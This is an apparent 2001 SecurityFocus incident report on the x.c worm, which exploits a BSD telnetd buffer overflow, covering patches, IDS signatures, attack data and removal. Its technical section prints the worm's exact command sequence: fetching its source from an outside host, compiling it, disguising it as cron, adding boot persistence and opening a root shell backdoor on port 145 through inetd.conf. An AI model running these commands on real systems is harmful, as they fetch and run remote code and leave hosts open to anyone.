x.c worm analysis

[Ryan Russell <ryan () securityfocus com>]

x.c Worm

Analysts:
Oliver Friedrichs, Ryan Russell
and Mario van Velzen

Incident Analysis Report
Version 1
September 7, 2001 00:27 UTC

-Executive Summary
A new worm is affecting Unix systems running the telnet service. The
threat from the worm itself is low; however, the vulnerability that the
worm takes advantage of has not received widespread coverage outside the
security community. Therefore, the majority of Unix systems running the
telnet service are still vulnerable.

The x.c worm relies on a single Web site to download a copy of itself and
spread further. The file was removed from that site, so further spreading
is not currently possible. However, any hosts already infected can
compromise other hosts. Those hosts will not be able to install the worm
itself, but a backdoor is installed, and the host may then be easily
compromised by anyone.

This poorly spreading version of a telnetd worm should be taken as a
warning, and you should install patches immediately. SecurityFocus
considers it extremely likely that "improved" worms that take advantage of
this vulnerability will be appearing soon. Action Items All Unix-based
hosts should have the appropriate patch applied (see the "Patches" section
of this report) or, at a minimum, you should disable the telnet daemon
until you can patch the hosts. Even though the worm is mostly inactive at
the moment, vulnerable hosts can be compromised manually. You can monitor
any attempts to access the Web site used by the worm and any activities
using TCP port 145 to detect infected machines or the attacker.


-Associated Vulnerability:
Multiple Vendor Telnetd Buffer Overflow Vulnerability
Associated Bugtraq ID:
3064
Urgency:
Medium
Ease of Exploit:
Automatic
Associated Operating Systems:
Most Unix-based operating systems

-Technical Overview
A worm exists that takes advantage of a buffer overflow in the telnetd
service distributed as part of nearly all flavors of Unix. At present, we
know the worm affects BSDI 4.1, NetBSD 1.5, and FreeBSD 3.1 through 4.3.
Nearly all Unix-based operating systems are vulnerable to the problem, and
you should not consider your system unaffected by this worm until
verified.

The worm downloads a copy of itself in source code form from a single Web
site, and compiles and installs itself. The source file was removed from
the Web site, so this exact version of the worm can no longer spread to
new hosts. However, any existing copies of the worm running in the wild
can still break into vulnerable hosts and attempt to run the install
script. The worm download will fail, but a backdoor will be installed.

-Patches
You can find the extensive list of available patches at
http://securityfocus.com/vdb/bottom.html?section=solution&vid=3064.

-Description of Vulnerability
A boundary condition error exists in telnet daemons derived from the BSD
telnet daemon. The function responsible for processing the options
prepares a response within a fixed-sized buffer, without performing any
bounds checking. Under certain circumstances, a buffer can be overflowed
when the daemon receives a combination of telnet protocol options.

An exploit of this vulnerability written by TESO Security has been in
limited distribution for some time. The x.c worm's source code is derived
directly from the TESO exploit code. Please see the "Resources" section of
this report for a link to a copy of this exploit.

-IDS Updates
Snort has the following two rules that trigger with this worm:

TESO *BSD Telnet exploit query response
TESO *BSD Telnet client exploit finishing

-Recommendations
Apply the appropriate patches as soon as possible. SecurityFocus
recommends applying all patches, even if you disable the service, because
disabled services are often temporarily re-enabled for troubleshooting
purposes. In addition, SecurityFocus recommends that, if possible, telnet
be disabled and replaced with an SSH daemon. No SSH daemon is bug-free,
but SSH does improve security beyond that provided by telnet. You can
monitor any attempts to access the Web site used by the worm. Any
activities using port 145 would also indicate infected machines or the
attacker. You can find the Web site and its address in the File Names
section.

-Attack Data
ARIS users recorded almost no attacks for this telnetd vulnerability
during the period the worm was active. SecurityFocus believes that this
worm was very unsuccessful in spreading. However, Figure 1 shows that ARIS
users have reported the probing of port 145. This port is used to install
a backdoor in infected systems. All of the probes came from the same
dialup address pool for an ISP in Germany. No known popular services run
on TCP port 145, and ARIS users have recorded no other activity for this
port number. Therefore, it is likely that these probes are coming from the
worm author, or an associate who was aware of the worm's design. ARIS
analysts will continue to examine the data, and monitor the situation.

Figure 1 - Probing on Port 145
http://www.securityfocus.com/data/staff/port145.jpg

-Technical Description
Since the worm distributes itself in source-code form, SecurityFocus
analysts have had an opportunity to examine the worm at the source-code
level. We have determined that the x.c worm has a direct relationship to
an exploit written by TESO Security. The exploit was used as a shell for
the worm. A minimal amount of code was added to automate the process, and
unused sections were removed. You can find a location to view the original
exploit in the "Resources" section of this document.

SecurityFocus has prepared a pseudo-code version of the worm's main logic flow:

Main Loop {

        Forks and spawns itself into a daemon, and sets a new   session ID, the parent exits.

        Set SIGCHILD signal handler to wait for the exited child process.

        Resets all other signal handlers to ignore any signals.

        Forks again, the parent exits.

        It now changes to the root directory, and closes all open file descriptors (0-63).

        It initializes its random number generator.

        It now enters an endless loop.

        Attack Loop {

                Obtains a completely random IP address.

                Attempts a connection to port 23 (telnet) on that address.

                If successful, a child is spawned, the parent process continues
                its attempts to spread.

                Child {

                        The remote system is verified to support the faulty
                        telnet options that are exploited.

                        The connection is closed.

                        A new connection is created to the target telnet daemon.
                        An attempt is made to attempt to exploit the telnet daemon
                        overflow.

                        If successful, the following shell commands are sent
                        across the connection and executed on the remote system:

                        "fetch -o /x.c http://mri.am.lublin.pl/x.c > /dev/null 2>&1 &&
                        \\\n"
                        "cc -o /x /x.c && \\\n"
                        "rm /x.c\n"
                        "strip /x\n"
                        "chmod 555 /x\n"
                        "touch -r /usr/sbin/cron /x\n"
                        "mv /x '/usr/sbin/cron '\n"
                        "'/usr/sbin/cron '\n"
                        "echo \"'/usr/sbin/cron '\" >> /etc/rc.local\n"
                        "echo \"uaac stream tcp nowait root /bin/sh sh -i\" >>
                        /etc/inetd.conf\n"
                        "echo \"sh: ALL\" >> /etc/hosts.allow\n"
                        "killall -1 inetd\n";

                        The remote system now has a copy of this worm executing on it.

                        This child process exits.
                }
        }
}

Of greatest interest is the list of commands executed. The worm uses the
fetch program to download itself. It then compiles itself, removes the
source, strips out the symbols table, marks it executable, and moves it to
"/usr/sbin/cron ". Note the trailing space in this name. It then adds this
program to the /etc/rc.local file to ensure that it runs upon reboot.
Because the worm cannot be downloaded (unless a changed version is
re-released), these steps will fail.

However, the worm also adds a line to the inetd.conf file, which refers to
/bin/sh, to be run as root on port 145. This produces a shell prompt
running as root when a connection is made to that port. It also adds a
line to hosts.allow to ensure that all hosts can connect to the port.
Finally, inetd is restarted to cause the change to take effect
immediately.

Removal of the worm itself is straightforward. Just delete the line from
inetd.conf, restore hosts.allow to its proper state, and halt and remove
"/usr/sbin/cron ". As with any exploit, you should take great care to
check if any secondary intrusions have since taken place. SecurityFocus
recommends rebuilding any system that may have been compromised and
restoring all data from known-good backups.

-File Names
* x.c - Source code for the x.c worm
* x - Compiled version of x.c

-IP Addresses
The worm attempts to download a copy of itself from
http://mri.am.lublin.pl/x.c (IP address 212.182.31.253). The x.c file has
since been removed from this Web site, though the site itself remains up.

-Port Numbers Involved
A backdoor root shell is installed on TCP port 145. This backdoor permits
anyone to have root access to a compromised host with essentially no
effort.

-Resources
You can find the original telnetd exploit at
http://msgs.securepoint.com/cgi-bin/get/bugtraq0107/293.html.

-Community Credits
SecurityFocus would like to thank our anonymous contributor for the source
code for x.c.